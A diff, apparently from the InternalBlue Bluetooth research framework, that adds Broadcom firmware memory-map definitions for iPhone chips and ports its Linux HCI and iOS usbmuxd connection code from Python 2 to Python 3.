# Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
# this software and associated documentation files (the "Software"), to deal in
|
||||
# the Software without restriction, including without limitation the rights to
|
||||
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
|
||||
# the Software, and to permit persons to whom the Software is furnished to do so,
|
||||
# subject to the following conditions:
|
||||
# - The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
# - The Software is provided "as is", without warranty of any kind, express or
|
||||
# implied, including but not limited to the warranties of merchantability,
|
||||
# fitness for a particular purpose and noninfringement. In no event shall the
|
||||
# authors or copyright holders be liable for any claim, damages or other
|
||||
# liability, whether in an action of contract, tort or otherwise, arising from,
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
|
||||
|
||||
class BCM4345B0(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
# iPhone 6
|
||||
FW_NAME = "BCM4345B0"
|
||||
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x000C07FF, True, False), # Internal ROM
|
||||
MemorySection(
|
||||
0x000D0000, 0x000DFFFF, False, True
|
||||
), # Internal Memory Patchram Contents
|
||||
MemorySection(0x00200400, 0x00201CFF, False, True), # Internal Memory Cortex M3
|
||||
]
|
||||
|
||||
# Patchram
|
||||
# PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000 #TODO needs to be aligned read
|
||||
# PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
|
||||
# PATCHRAM_VALUE_TABLE_ADDRESS = 0xd0000
|
||||
# PATCHRAM_NUMBER_OF_SLOTS = 128
|
||||
# PATCHRAM_ALIGNED = True
|
||||
# only seems to work 4-byte aligned here ...
|
||||
@@ -0,0 +1,49 @@
|
||||
# fw_0x420e.py
|
||||
#
|
||||
# Generic firmware file in case we do not know something...
|
||||
#
|
||||
# Copyright (c) 2019 Jiska Classen. (MIT License)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
# this software and associated documentation files (the "Software"), to deal in
|
||||
# the Software without restriction, including without limitation the rights to
|
||||
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
|
||||
# the Software, and to permit persons to whom the Software is furnished to do so,
|
||||
# subject to the following conditions:
|
||||
# - The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
# - The Software is provided "as is", without warranty of any kind, express or
|
||||
# implied, including but not limited to the warranties of merchantability,
|
||||
# fitness for a particular purpose and noninfringement. In no event shall the
|
||||
# authors or copyright holders be liable for any claim, damages or other
|
||||
# liability, whether in an action of contract, tort or otherwise, arising from,
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
|
||||
|
||||
class BCM4345C1(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
# iPhone SE
|
||||
FW_NAME = "BCM4345C1"
|
||||
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x000C07FF, True, False), # Internal ROM
|
||||
MemorySection(
|
||||
0x000D0000, 0x000DFFFF, False, True
|
||||
), # Internal Memory Patchram Contents
|
||||
MemorySection(0x00200400, 0x00201CFF, False, True), # Internal Memory Cortex M3
|
||||
]
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0xD0000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 128
|
||||
PATCHRAM_ALIGNED = False
|
||||
# only seems to work 4-byte aligned here ...
|
||||
@@ -1,4 +1,4 @@
|
||||
#!/usr/bin/env python2
|
||||
#!/usr/bin/env python
|
||||
|
||||
# fw_default.py
|
||||
#
|
||||
@@ -22,25 +22,18 @@
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from fw import MemorySection
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
|
||||
# Firmware Infos
|
||||
FW_NAME = "default (unknown firmware)"
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [ MemorySection(0x0, 0x90000, True , False),
|
||||
MemorySection(0xd0000, 0xd8000, False, True ),
|
||||
#MemorySection(0xe0000, 0x1f0000, True , False),
|
||||
MemorySection(0x200000, 0x228000, False, True ),
|
||||
MemorySection(0x260000, 0x268000, True , False),
|
||||
#MemorySection(0x280000, 0x2a0000, True , False),
|
||||
MemorySection(0x318000, 0x320000, False, False),
|
||||
MemorySection(0x324000, 0x360000, False, False),
|
||||
MemorySection(0x362000, 0x362100, False, False),
|
||||
MemorySection(0x363000, 0x363100, False, False),
|
||||
MemorySection(0x600000, 0x600800, False, False),
|
||||
MemorySection(0x640000, 0x640800, False, False),
|
||||
MemorySection(0x650000, 0x650800, False, False),
|
||||
#MemorySection(0x680000, 0x800000, False, False)
|
||||
]
|
||||
class DefaultFirmware(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
FW_NAME = "default (unknown firmware)"
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x0, 0x90000, True, False),
|
||||
MemorySection(0xD0000, 0xD8000, False, True),
|
||||
MemorySection(0x200000, 0x228000, False, True),
|
||||
]
|
||||
|
||||
+911
-800
File diff suppressed because it is too large
Load Diff
+183
-77
@@ -1,37 +1,72 @@
|
||||
#!/usr/bin/env python2
|
||||
|
||||
import subprocess
|
||||
from __future__ import absolute_import
|
||||
|
||||
import socket
|
||||
import struct
|
||||
|
||||
from future import standard_library
|
||||
|
||||
standard_library.install_aliases()
|
||||
from builtins import str
|
||||
from builtins import zip
|
||||
from builtins import range
|
||||
import datetime
|
||||
from pwn import *
|
||||
from internalblue.utils.pwnlib_wrapper import log, context, p32, u16, p16, u32
|
||||
import fcntl
|
||||
from core import InternalBlue
|
||||
import hci
|
||||
import Queue
|
||||
from .core import InternalBlue
|
||||
from . import hci
|
||||
import queue as queue2k
|
||||
import threading
|
||||
|
||||
from typing import List, cast, TYPE_CHECKING
|
||||
if TYPE_CHECKING:
|
||||
from internalblue import Device
|
||||
|
||||
|
||||
# from /usr/include/bluetooth/hci.h:
|
||||
#define HCIDEVUP _IOW('H', 201, int)
|
||||
#define HCIGETDEVLIST _IOR('H', 210, int)
|
||||
#define HCIGETDEVINFO _IOR('H', 211, int)
|
||||
# define HCIDEVUP _IOW('H', 201, int)
|
||||
# define HCIGETDEVLIST _IOR('H', 210, int)
|
||||
# define HCIGETDEVINFO _IOR('H', 211, int)
|
||||
|
||||
# ioctl numbers. see http://code.activestate.com/recipes/578225-linux-ioctl-numbers-in-python/
|
||||
def _IOR(type, nr, size):
|
||||
return 2 << 30 | type << 8 | nr << 0 | size << 16
|
||||
def _IOW(type, nr, size):
|
||||
return 1 << 30 | type << 8 | nr << 0 | size << 16
|
||||
def _IOR(_type, nr, size):
|
||||
return 2 << 30 | _type << 8 | nr << 0 | size << 16
|
||||
|
||||
HCIDEVUP = _IOW(ord('H'), 201, 4)
|
||||
HCIGETDEVLIST = _IOR(ord('H'), 210, 4)
|
||||
HCIGETDEVINFO = _IOR(ord('H'), 211, 4)
|
||||
|
||||
def _IOW(_type, nr, size):
|
||||
return 1 << 30 | _type << 8 | nr << 0 | size << 16
|
||||
|
||||
|
||||
HCIDEVUP = _IOW(ord("H"), 201, 4)
|
||||
HCIGETDEVLIST = _IOR(ord("H"), 210, 4)
|
||||
HCIGETDEVINFO = _IOR(ord("H"), 211, 4)
|
||||
|
||||
|
||||
class HCICore(InternalBlue):
|
||||
|
||||
def __init__(self, queue_size=1000, btsnooplog_filename='btsnoop.log', log_level='info', fix_binutils='True', data_directory="."):
|
||||
super(HCICore, self).__init__(queue_size, btsnooplog_filename, log_level, fix_binutils, data_directory)
|
||||
def __init__(
|
||||
self,
|
||||
queue_size=1000,
|
||||
btsnooplog_filename="btsnoop.log",
|
||||
log_level="info",
|
||||
fix_binutils="True",
|
||||
data_directory=".",
|
||||
replay=False,
|
||||
):
|
||||
super(HCICore, self).__init__(
|
||||
queue_size,
|
||||
btsnooplog_filename,
|
||||
log_level,
|
||||
fix_binutils,
|
||||
data_directory,
|
||||
replay,
|
||||
)
|
||||
self.btsnooplog_file_lock = threading.Lock()
|
||||
self.serial = False
|
||||
self.doublecheck = False
|
||||
|
||||
def getHciDeviceList(self):
|
||||
# type: () -> List[Device]
|
||||
"""
|
||||
Get a list of available HCI devices. The list is obtained by executing
|
||||
ioctl syscalls HCIGETDEVLIST and HCIGETDEVINFO. The returned list
|
||||
@@ -48,43 +83,66 @@ class HCICore(InternalBlue):
|
||||
s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI)
|
||||
# Ticket 6: does not run on Windows with Kali subsystem
|
||||
except socket.error:
|
||||
log.warn("Opening a local Bluetooth socket failed. Not running on native Linux?")
|
||||
log.warn(
|
||||
"Opening a local Bluetooth socket failed. Not running on native Linux?"
|
||||
)
|
||||
return []
|
||||
|
||||
# Do ioctl(s,HCIGETDEVLIST,arg) to get the number of available devices:
|
||||
# arg is struct hci_dev_list_req (/usr/include/bluetooth/hci.h)
|
||||
arg = p32(16) # dl->dev_num = HCI_MAX_DEV which is 16 (little endian)
|
||||
arg += "\x00"*(8*16)
|
||||
arg = p32(16) # dl->dev_num = HCI_MAX_DEV which is 16 (little endian)
|
||||
arg += b"\x00" * (8 * 16)
|
||||
devices_raw = fcntl.ioctl(s.fileno(), HCIGETDEVLIST, arg)
|
||||
num_devices = u16(devices_raw[:2])
|
||||
log.debug("Found %d HCI devices via ioctl(HCIGETDEVLIST)!" % num_devices)
|
||||
|
||||
device_list = []
|
||||
for dev_nr in range(num_devices):
|
||||
dev_struct_start = 4 + 8*dev_nr
|
||||
dev_id = u16(devices_raw[dev_struct_start:dev_struct_start+2])
|
||||
dev_struct_start = 4 + 8 * dev_nr
|
||||
dev_id = u16(devices_raw[dev_struct_start : dev_struct_start + 2])
|
||||
# arg is struct hci_dev_info (/usr/include/bluetooth/hci.h)
|
||||
arg = p16(dev_id) # di->dev_id = <device_id>
|
||||
arg += "\x00"*20 # Enough space for name, bdaddr and flags
|
||||
dev_info_raw = fcntl.ioctl(s.fileno(), HCIGETDEVINFO, arg)
|
||||
dev_name = dev_info_raw[2:10].replace("\x00","")
|
||||
dev_bdaddr = ":".join(["%02X" % ord(x) for x in dev_info_raw[10:16][::-1]])
|
||||
dev_flags = u32(dev_info_raw[16:20])
|
||||
arg = p16(dev_id) # di->dev_id = <device_id>
|
||||
arg += b"\x00" * 20 # Enough space for name, bdaddr and flags
|
||||
dev_info_raw = bytearray(fcntl.ioctl(s.fileno(), HCIGETDEVINFO, arg))
|
||||
dev_name = dev_info_raw[2:10].replace(b"\x00", b"").decode()
|
||||
dev_bdaddr = ":".join(["%02X" % x for x in dev_info_raw[10:16][::-1]])
|
||||
dev_flags = u32(dev_info_raw[16:20])
|
||||
if dev_flags == 0:
|
||||
dev_flags_str = "DOWN"
|
||||
else:
|
||||
dev_flags_str = " ".join([name for flag,name in zip(
|
||||
bin(dev_flags)[2:][::-1],
|
||||
["UP", "INIT", "RUNNING", "PSCAN", "ISCAN", "AUTH",
|
||||
"ENCRYPT" , "INQUIRY" , "RAW" , "RESET"]) if flag=="1"])
|
||||
dev_flags_str = " ".join(
|
||||
[
|
||||
name
|
||||
for flag, name in zip(
|
||||
bin(dev_flags)[2:][::-1],
|
||||
[
|
||||
"UP",
|
||||
"INIT",
|
||||
"RUNNING",
|
||||
"PSCAN",
|
||||
"ISCAN",
|
||||
"AUTH",
|
||||
"ENCRYPT",
|
||||
"INQUIRY",
|
||||
"RAW",
|
||||
"RESET",
|
||||
],
|
||||
)
|
||||
if flag == "1"
|
||||
]
|
||||
)
|
||||
|
||||
device_list.append({"dev_id": dev_id,
|
||||
"dev_name": dev_name,
|
||||
"dev_bdaddr": dev_bdaddr,
|
||||
"dev_flags": dev_flags,
|
||||
"dev_flags_str": dev_flags_str})
|
||||
device_list.append(
|
||||
{
|
||||
"dev_id": dev_id,
|
||||
"dev_name": dev_name,
|
||||
"dev_bdaddr": dev_bdaddr,
|
||||
"dev_flags": dev_flags,
|
||||
"dev_flags_str": dev_flags_str,
|
||||
}
|
||||
)
|
||||
s.close()
|
||||
return device_list
|
||||
return cast("List[Device]", device_list)
|
||||
|
||||
def bringHciDeviceUp(self, dev_id):
|
||||
"""
|
||||
@@ -110,24 +168,36 @@ class HCICore(InternalBlue):
|
||||
log.warn("Error returned by ioctl: %s" % str(e))
|
||||
return False
|
||||
|
||||
|
||||
def device_list(self):
|
||||
"""
|
||||
Return a list of connected hci devices.
|
||||
"""
|
||||
|
||||
if self.replay:
|
||||
return [(self, "hci_replay", "hci: ReplaySocket")]
|
||||
device_list = []
|
||||
for dev in self.getHciDeviceList():
|
||||
log.info("HCI device: %s [%s] flags=%d<%s>" %
|
||||
(dev["dev_name"], dev["dev_bdaddr"],
|
||||
dev["dev_flags"], dev["dev_flags_str"]))
|
||||
device_list.append([self, dev["dev_name"], 'hci: %s (%s) <%s>' %
|
||||
(dev["dev_bdaddr"], dev["dev_name"], dev["dev_flags_str"])])
|
||||
log.info(
|
||||
"HCI device: %s [%s] flags=%d<%s>"
|
||||
% (
|
||||
dev["dev_name"],
|
||||
dev["dev_bdaddr"],
|
||||
dev["dev_flags"],
|
||||
dev["dev_flags_str"],
|
||||
)
|
||||
)
|
||||
device_list.append(
|
||||
(
|
||||
self,
|
||||
dev["dev_name"],
|
||||
"hci: %s (%s) <%s>"
|
||||
% (dev["dev_bdaddr"], dev["dev_name"], dev["dev_flags_str"]),
|
||||
)
|
||||
)
|
||||
|
||||
if len(device_list) == 0:
|
||||
log.info('No connected HCI device found')
|
||||
log.info("No connected HCI device found")
|
||||
|
||||
return device_list
|
||||
return cast("List[Device]", device_list)
|
||||
|
||||
def local_connect(self):
|
||||
"""
|
||||
@@ -136,7 +206,7 @@ class HCICore(InternalBlue):
|
||||
if not self.interface:
|
||||
log.warn("No HCI identifier is set")
|
||||
return False
|
||||
|
||||
|
||||
if not self._setupSockets():
|
||||
log.critical("HCI socket could not be established!")
|
||||
return False
|
||||
@@ -157,8 +227,10 @@ class HCICore(InternalBlue):
|
||||
this field as 0x00E03AB44A676000.
|
||||
"""
|
||||
time_betw_0_and_2000_ad = int("0x00E03AB44A676000", 16)
|
||||
time_since_2000_epoch = time - datetime.datetime(2000,1,1)
|
||||
packed_time = time_since_2000_epoch + datetime.timedelta(microseconds=time_betw_0_and_2000_ad)
|
||||
time_since_2000_epoch = time - datetime.datetime(2000, 1, 1)
|
||||
packed_time = time_since_2000_epoch + datetime.timedelta(
|
||||
microseconds=time_betw_0_and_2000_ad
|
||||
)
|
||||
return int(packed_time.total_seconds() * 1000 * 1000)
|
||||
|
||||
def _recvThreadFunc(self):
|
||||
@@ -180,26 +252,49 @@ class HCICore(InternalBlue):
|
||||
# Read the record data
|
||||
try:
|
||||
record_data = self.s_snoop.recv(1024)
|
||||
record_data = bytearray(record_data)
|
||||
except socket.timeout:
|
||||
continue # this is ok. just try again without error
|
||||
continue # this is ok. just try again without error
|
||||
except Exception as e:
|
||||
log.critical(
|
||||
"Lost device interface with exception {}, terminating receive thread...".format(
|
||||
e
|
||||
)
|
||||
)
|
||||
self.exit_requested = True
|
||||
continue
|
||||
|
||||
# btsnoop record header data:
|
||||
btsnoop_orig_len = len(record_data)
|
||||
btsnoop_inc_len = len(record_data)
|
||||
btsnoop_flags = 0
|
||||
btsnoop_drops = 0
|
||||
btsnoop_time = datetime.datetime.now()
|
||||
btsnoop_inc_len = len(record_data)
|
||||
btsnoop_flags = 0
|
||||
btsnoop_drops = 0
|
||||
btsnoop_time = datetime.datetime.now()
|
||||
|
||||
# Put all relevant infos into a tuple. The HCI packet is parsed with the help of hci.py.
|
||||
record = (hci.parse_hci_packet(record_data), btsnoop_orig_len, btsnoop_inc_len,
|
||||
btsnoop_flags, btsnoop_drops, btsnoop_time)
|
||||
record = (
|
||||
hci.parse_hci_packet(record_data),
|
||||
btsnoop_orig_len,
|
||||
btsnoop_inc_len,
|
||||
btsnoop_flags,
|
||||
btsnoop_drops,
|
||||
btsnoop_time,
|
||||
)
|
||||
|
||||
#log.debug("_recvThreadFunc Recv: [" + str(btsnoop_time) + "] " + str(record[0]))
|
||||
log.debug(
|
||||
"_recvThreadFunc Recv: [" + str(btsnoop_time) + "] " + str(record[0])
|
||||
)
|
||||
|
||||
# Write to btsnoop file:
|
||||
if self.write_btsnooplog:
|
||||
btsnoop_record_hdr = struct.pack(">IIIIq", btsnoop_orig_len, btsnoop_inc_len, btsnoop_flags,
|
||||
btsnoop_drops, self._btsnoop_pack_time(btsnoop_time))
|
||||
btsnoop_record_hdr = struct.pack(
|
||||
">IIIIq",
|
||||
btsnoop_orig_len,
|
||||
btsnoop_inc_len,
|
||||
btsnoop_flags,
|
||||
btsnoop_drops,
|
||||
self._btsnoop_pack_time(btsnoop_time),
|
||||
)
|
||||
with self.btsnooplog_file_lock:
|
||||
self.btsnooplog_file.write(btsnoop_record_hdr)
|
||||
self.btsnooplog_file.write(record_data)
|
||||
@@ -208,11 +303,13 @@ class HCICore(InternalBlue):
|
||||
# Put the record into all queues of registeredHciRecvQueues if their
|
||||
# filter function matches.
|
||||
for queue, filter_function in self.registeredHciRecvQueues:
|
||||
if filter_function == None or filter_function(record):
|
||||
if filter_function is None or filter_function(record):
|
||||
try:
|
||||
queue.put(record, block=False)
|
||||
except Queue.Full:
|
||||
log.warn("recvThreadFunc: A recv queue is full. dropping packets..")
|
||||
except queue2k.Full:
|
||||
log.warn(
|
||||
"recvThreadFunc: A recv queue is full. dropping packets.."
|
||||
)
|
||||
|
||||
# Call all callback functions inside registeredHciCallbacks and pass the
|
||||
# record as argument.
|
||||
@@ -221,9 +318,9 @@ class HCICore(InternalBlue):
|
||||
|
||||
# Check if the stackDumpReceiver has noticed that the chip crashed.
|
||||
# if self.stackDumpReceiver.stack_dump_has_happend:
|
||||
# A stack dump has happend!
|
||||
# log.warn("recvThreadFunc: The controller send a stack dump.")
|
||||
# self.exit_requested = True
|
||||
# A stack dump has happend!
|
||||
# log.warn("recvThreadFunc: The controller send a stack dump.")
|
||||
# self.exit_requested = True
|
||||
|
||||
log.debug("Receive Thread terminated.")
|
||||
|
||||
@@ -234,7 +331,9 @@ class HCICore(InternalBlue):
|
||||
"""
|
||||
|
||||
# Check if hci device is in state "UP". If not, set it to "UP" (requires root)
|
||||
device = [dev for dev in self.getHciDeviceList() if dev["dev_name"] == self.interface]
|
||||
device = [
|
||||
dev for dev in self.getHciDeviceList() if dev["dev_name"] == self.interface
|
||||
]
|
||||
if len(device) == 0:
|
||||
log.warn("Device not found: " + self.interface)
|
||||
return False
|
||||
@@ -250,9 +349,11 @@ class HCICore(InternalBlue):
|
||||
# TODO unload btusb module and check error messages here to give the user some output if sth fails
|
||||
|
||||
# Connect to HCI socket
|
||||
self.s_snoop = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI)
|
||||
self.s_snoop.setsockopt(socket.SOL_HCI, socket.HCI_DATA_DIR,1)
|
||||
self.s_snoop.setsockopt(socket.SOL_HCI, socket.HCI_TIME_STAMP,1)
|
||||
self.s_snoop = socket.socket(
|
||||
socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI
|
||||
)
|
||||
self.s_snoop.setsockopt(socket.SOL_HCI, socket.HCI_DATA_DIR, 1)
|
||||
self.s_snoop.setsockopt(socket.SOL_HCI, socket.HCI_TIME_STAMP, 1)
|
||||
"""
|
||||
struct hci_filter {
|
||||
uint32_t type_mask; -> 4
|
||||
@@ -261,11 +362,14 @@ class HCICore(InternalBlue):
|
||||
};
|
||||
"""
|
||||
# TODO still seems to only forward incoming events?!
|
||||
self.s_snoop.setsockopt(socket.SOL_HCI, socket.HCI_FILTER,
|
||||
'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00') #type mask, event mask, event mask, opcode
|
||||
self.s_snoop.setsockopt(
|
||||
socket.SOL_HCI,
|
||||
socket.HCI_FILTER,
|
||||
b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00",
|
||||
) # type mask, event mask, event mask, opcode
|
||||
|
||||
interface_num = device["dev_id"]
|
||||
log.debug("Socket interface number: %s" % (interface_num))
|
||||
log.debug("Socket interface number: %s" % interface_num)
|
||||
self.s_snoop.bind((interface_num,))
|
||||
self.s_snoop.settimeout(2)
|
||||
log.debug("_setupSockets: Bound socket.")
|
||||
@@ -276,7 +380,9 @@ class HCICore(InternalBlue):
|
||||
# Write Header to btsnoop file (if file is still empty):
|
||||
if self.write_btsnooplog and self.btsnooplog_file.tell() == 0:
|
||||
# BT Snoop Header: btsnoop\x00, version: 1, data link type: 1002
|
||||
btsnoop_hdr = "btsnoop\x00" + p32(1,endian="big") + p32(1002,endian="big")
|
||||
btsnoop_hdr = (
|
||||
b"btsnoop\x00" + p32(1, endian="big") + p32(1002, endian="big")
|
||||
)
|
||||
with self.btsnooplog_file_lock:
|
||||
self.btsnooplog_file.write(btsnoop_hdr)
|
||||
self.btsnooplog_file.flush()
|
||||
@@ -288,9 +394,9 @@ class HCICore(InternalBlue):
|
||||
Close s_snoop and s_inject socket. (equal)
|
||||
"""
|
||||
|
||||
if (self.s_inject != None):
|
||||
if self.s_inject is not None:
|
||||
self.s_inject.close()
|
||||
self.s_inject = None
|
||||
self.s_snoop = None
|
||||
self.s_snoop = None
|
||||
|
||||
return True
|
||||
|
||||
+170
-50
@@ -1,29 +1,57 @@
|
||||
#!/usr/bin/env python2
|
||||
|
||||
from __future__ import absolute_import
|
||||
|
||||
import struct
|
||||
|
||||
from future import standard_library
|
||||
|
||||
standard_library.install_aliases()
|
||||
from builtins import str
|
||||
import socket
|
||||
import Queue
|
||||
import hci
|
||||
import queue as queue2k
|
||||
from . import hci
|
||||
|
||||
from pwn import *
|
||||
from internalblue.utils.pwnlib_wrapper import log, context
|
||||
|
||||
from .usbmux import USBMux, MuxError
|
||||
from .core import InternalBlue
|
||||
|
||||
from core import InternalBlue
|
||||
|
||||
class iOSCore(InternalBlue):
|
||||
buffer: bytes
|
||||
|
||||
def __init__(self, ios_addr, queue_size=1000, btsnooplog_filename='btsnoop.log', log_level='info', fix_binutils='True', data_directory="."):
|
||||
super(iOSCore, self).__init__(queue_size, btsnooplog_filename, log_level, fix_binutils, data_directory=".")
|
||||
parts = ios_addr.split(':')
|
||||
if len(parts) != 2:
|
||||
log.critical("iOS device address should be of format HOSTNAME:PORT")
|
||||
exit(-1)
|
||||
self.ios_addr = parts[0]
|
||||
self.ios_port = parts[1]
|
||||
def __init__(
|
||||
self,
|
||||
queue_size=1000,
|
||||
btsnooplog_filename="btsnoop.log",
|
||||
log_level="info",
|
||||
fix_binutils=True,
|
||||
data_directory=".",
|
||||
):
|
||||
super(iOSCore, self).__init__(
|
||||
queue_size, btsnooplog_filename, log_level, fix_binutils, data_directory="."
|
||||
)
|
||||
self.serial = False
|
||||
self.doublecheck = True
|
||||
self.buffer = b""
|
||||
self.muxconnecterror = False
|
||||
|
||||
try:
|
||||
self.mux = USBMux()
|
||||
# on Linux, this can result in ConnectionRefusedError if no iOS device is present
|
||||
except ConnectionRefusedError:
|
||||
self.muxconnecterror = True
|
||||
|
||||
def device_list(self):
|
||||
"""
|
||||
Get a list of connected devices
|
||||
"""
|
||||
|
||||
# prevent access on non-available socket if usbmuxd failed
|
||||
if self.muxconnecterror:
|
||||
return []
|
||||
|
||||
if self.exit_requested:
|
||||
self.shutdown()
|
||||
|
||||
@@ -31,13 +59,25 @@ class iOSCore(InternalBlue):
|
||||
log.warn("Already running. Call shutdown() first!")
|
||||
return []
|
||||
|
||||
# assume that a explicitly specified iPhone exists
|
||||
# because we need to call process for every device that is connected
|
||||
# and we don't really know how much are connected, we just call process
|
||||
# 8 times (which should be a reasonable limit for the amount of connected
|
||||
# iOS devices) with a very short timeout.
|
||||
for i in range(0, 8):
|
||||
self.mux.process(0.01)
|
||||
|
||||
self.devices = self.mux.devices
|
||||
if not self.devices:
|
||||
log.info("No iOS devices connected")
|
||||
|
||||
device_list = []
|
||||
device_list.append((self, "iPhone", "iPhone"))
|
||||
for dev in self.devices:
|
||||
dev_id = "iOS Device (" + dev.serial.decode("utf-8") + ")"
|
||||
device_list.append((self, dev, dev_id))
|
||||
|
||||
return device_list
|
||||
|
||||
def sendH4(self, h4type, data, timeout=2):
|
||||
def sendH4(self, h4type, data, timeout=0.5):
|
||||
"""
|
||||
Send an arbitrary HCI packet by pushing a send-task into the
|
||||
sendQueue. This function blocks until the response is received
|
||||
@@ -46,16 +86,16 @@ class iOSCore(InternalBlue):
|
||||
the command or None if no response was received within the timeout.
|
||||
"""
|
||||
|
||||
queue = Queue.Queue(1)
|
||||
queue = queue2k.Queue(1)
|
||||
|
||||
try:
|
||||
self.sendQueue.put((h4type, data, queue, None), timeout=timeout)
|
||||
ret = queue.get(timeout=timeout)
|
||||
return ret
|
||||
except Queue.Empty:
|
||||
except queue2k.Empty:
|
||||
log.warn("sendH4: waiting for response timed out!")
|
||||
return None
|
||||
except Queue.Full:
|
||||
except queue2k.Full:
|
||||
log.warn("sendH4: send queue is full!")
|
||||
return None
|
||||
|
||||
@@ -66,32 +106,96 @@ class iOSCore(InternalBlue):
|
||||
"""
|
||||
if not self._setupSockets():
|
||||
log.critical("No connection to iPhone.")
|
||||
log.info("Check if\n -> Bluetooth is deactivated in the iPhone settings\n -> internalblue-ios-proxy is running\n -> the proxied port is accesible from this machine")
|
||||
log.info(
|
||||
"Check if\n \
|
||||
-> Bluetooth is deactivated in the iOS device's settings\n \
|
||||
-> internalblued is installed on the device\n \
|
||||
-> the device is connected to this computer via USB\n \
|
||||
-> usbmuxd is installed on this computer"
|
||||
)
|
||||
return False
|
||||
return True
|
||||
|
||||
def _setupSockets(self):
|
||||
"""
|
||||
Connect to the iOS bluetooth device over internalblue-ios-proxy
|
||||
Connect to the iOS Bluetooth device over usbmuxd and internalblued
|
||||
"""
|
||||
|
||||
self.s_inject = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
try:
|
||||
self.s_inject.connect((self.ios_addr, int(self.ios_port)))
|
||||
self.s_inject.settimeout(0.5)
|
||||
except socket.error:
|
||||
log.warn("Could not connect to iPhone, is internalblue-ios-proxy running?")
|
||||
self.s_inject = self.mux.connect(self.interface, 1234)
|
||||
except MuxError:
|
||||
log.warn("Could not connect to iOS proxy. Is internalblued running on the connected device?")
|
||||
return False
|
||||
|
||||
self.s_inject.settimeout(0.5)
|
||||
|
||||
# with ios proxy the send and receive sockets are the same
|
||||
# with on iOS the send and receive sockets are the same
|
||||
self.s_snoop = self.s_inject
|
||||
|
||||
# empty the socket (can sometimes still hold data if the previous execution
|
||||
# of internalblue was cancelled or crashed)
|
||||
try:
|
||||
self.s_inject.recv(1024)
|
||||
except socket.error:
|
||||
pass
|
||||
|
||||
return True
|
||||
|
||||
def _getLatestH4Blob(self, new_data: bytes = b""):
|
||||
data_out: bytes = b""
|
||||
self.buffer += new_data
|
||||
if len(self.buffer) > 0:
|
||||
|
||||
# if the buffer is too small, wait for more data
|
||||
if len(self.buffer) < 5:
|
||||
return (None, False)
|
||||
else:
|
||||
# for ACL data the length field is at offset 3
|
||||
if self.buffer[0] == 0x2:
|
||||
acl_len = self.buffer[3]
|
||||
required_len = acl_len + 5
|
||||
# for HCI cmd data the length is at offset 3 (but just one byte)
|
||||
elif self.buffer[0] == 0x1:
|
||||
hci_len = self.buffer[3]
|
||||
required_len = hci_len + 4
|
||||
# for HCI event data the length is at offset 2 (one byte)
|
||||
elif self.buffer[0] == 0x4:
|
||||
hci_len = self.buffer[2]
|
||||
required_len = hci_len + 3
|
||||
# for BCM data the length should always be 64
|
||||
elif self.buffer[0] == 0x07:
|
||||
required_len = 64
|
||||
else:
|
||||
raise ValueError("Could not derive required_len from buffer")
|
||||
|
||||
# if we don't have all the data we need, we just wait for more
|
||||
if len(self.buffer) < required_len:
|
||||
return (None, False)
|
||||
# might be the case that we have too much
|
||||
elif len(self.buffer) > required_len:
|
||||
log.info(
|
||||
"Got too much data, expected %d, got %d",
|
||||
required_len,
|
||||
len(self.buffer),
|
||||
)
|
||||
surplus = len(self.buffer) - required_len
|
||||
new_buffer = self.buffer[required_len : len(self.buffer)]
|
||||
data_out = self.buffer[:-surplus]
|
||||
self.buffer = new_buffer
|
||||
return (data_out, True)
|
||||
# sometimes we even have just the right amout of data
|
||||
else:
|
||||
data_out = self.buffer
|
||||
self.buffer = b""
|
||||
return (data_out, False)
|
||||
else:
|
||||
return (None, False)
|
||||
|
||||
def _recvThreadFunc(self):
|
||||
|
||||
log.debug("Receive Thread started.")
|
||||
|
||||
if (self.write_btsnooplog):
|
||||
if self.write_btsnooplog:
|
||||
log.warn("Writing btsnooplog is not supported with iOS.")
|
||||
|
||||
while not self.exit_requested:
|
||||
@@ -100,33 +204,50 @@ class iOSCore(InternalBlue):
|
||||
|
||||
# read record data
|
||||
try:
|
||||
record_data = self.s_snoop.recv(1024)
|
||||
received_data = self.s_snoop.recv(1024)
|
||||
